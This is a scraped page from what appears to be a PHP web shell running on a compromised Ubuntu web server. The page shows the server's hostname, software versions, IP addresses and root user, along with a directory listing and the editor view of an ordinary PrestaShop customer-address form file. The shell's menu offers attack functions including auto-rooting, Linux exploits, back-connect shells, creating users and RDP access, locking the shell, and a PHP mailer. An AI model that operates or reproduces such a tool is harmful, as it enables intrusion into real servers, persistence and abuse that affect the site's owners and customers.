Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
classes /
form /
[ HOME SHELL ]
Name
Size
Permission
Action
AbstractForm.php
5.22
KB
-rwxrwxrwx
CustomerAddressForm.php
6.59
KB
-rwxrwxrwx
CustomerAddressFormatter.php
8.91
KB
-rwxrwxrwx
CustomerAddressPersister.php
2.85
KB
-rwxrwxrwx
CustomerForm.php
8.15
KB
-rwxrwxrwx
CustomerFormatter.php
8.3
KB
-rwxrwxrwx
CustomerLoginForm.php
3.45
KB
-rwxrwxrwx
CustomerLoginFormatter.php
2.15
KB
-rwxrwxrwx
CustomerPersister.php
7.24
KB
-rwxrwxrwx
FormField.php
3.87
KB
-rwxrwxrwx
FormFormatterInterface.php
1.07
KB
-rwxrwxrwx
FormInterface.php
1.41
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CustomerAddressForm.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ use Symfony\Component\Translation\TranslatorInterface; /** * StarterTheme TODO: FIXME: * In the old days, when updating an address, we actually: * - checked if the address was used by an order * - if so, just mark it as deleted and create a new one * - otherwise, update it like a normal entity * I *think* this is not necessary now because the invoicing thing * does its own historization. But this should be checked more thoroughly. */ class CustomerAddressFormCore extends AbstractForm { private $language; protected $template = 'customer/_partials/address-form.tpl'; private $address; private $persister; public function __construct( Smarty $smarty, Language $language, TranslatorInterface $translator, CustomerAddressPersister $persister, CustomerAddressFormatter $formatter ) { parent::__construct( $smarty, $translator, $formatter ); $this->language = $language; $this->persister = $persister; } public function loadAddressById($id_address) { $context = Context::getContext(); $this->address = new Address($id_address, $this->language->id); if ($this->address->id === null) { return Tools::redirect('index.php?controller=404'); } if (!$context->customer->isLogged() && !$context->customer->isGuest()) { return Tools::redirect('/index.php?controller=authentication'); } if ($this->address->id_customer != $context->customer->id) { return Tools::redirect('index.php?controller=404'); } $params = get_object_vars($this->address); $params['id_address'] = $this->address->id; return $this->fillWith($params); } public function fillWith(array $params = []) { // This form is very tricky: fields may change depending on which // country is being submitted! // So we first update the format if a new id_country was set. if (isset($params['id_country']) && $params['id_country'] != $this->formatter->getCountry()->id ) { $this->formatter->setCountry(new Country( $params['id_country'], $this->language->id )); } return parent::fillWith($params); } public function validate() { $is_valid = true; if (($postcode = $this->getField('postcode'))) { if ($postcode->isRequired()) { $country = $this->formatter->getCountry(); if (!$country->checkZipCode($postcode->getValue())) { $postcode->addError($this->translator->trans( 'Invalid postcode - should look like "%zipcode%"', array('%zipcode%' => $country->zip_code_format), 'Shop.Forms.Errors' )); $is_valid = false; } } } if (($hookReturn = Hook::exec('actionValidateCustomerAddressForm', array('form' => $this))) !== '') { $is_valid &= (bool) $hookReturn; } return $is_valid && parent::validate(); } public function submit() { if (!$this->validate()) { return false; } $address = new Address( $this->getValue('id_address'), $this->language->id ); foreach ($this->formFields as $formField) { $address->{$formField->getName()} = $formField->getValue(); } if (!isset($this->formFields['id_state'])) { $address->id_state = 0; } if (empty($address->alias)) { $address->alias = $this->translator->trans('My Address', [], 'Shop.Theme.Checkout'); } Hook::exec('actionSubmitCustomerAddressForm', array('address' => &$address)); $this->setAddress($address); return $this->getPersister()->save( $address, $this->getValue('token') ); } /** * @return Address */ public function getAddress() { return $this->address; } /** * @return CustomerAddressPersister */ protected function getPersister() { return $this->persister; } protected function setAddress(Address $address) { $this->address = $address; } public function getTemplateVariables() { $context = Context::getContext(); if (!$this->formFields) { // This is usually done by fillWith but the form may be // rendered before fillWith is called. // I don't want to assign formFields in the constructor // because it accesses the DB and a constructor should not // have side effects. $this->formFields = $this->formatter->getFormat(); } $this->setValue('token', $this->persister->getToken()); $formFields = array_map( function (FormField $item) { return $item->toArray(); }, $this->formFields ); if (empty($formFields['firstname']['value'])) { $formFields['firstname']['value'] = $context->customer->firstname; } if (empty($formFields['lastname']['value'])) { $formFields['lastname']['value'] = $context->customer->lastname; } return array( 'id_address' => (isset($this->address->id)) ? $this->address->id : 0, 'action' => $this->action, 'errors' => $this->getErrors(), 'formFields' => $formFields, ); } }
Close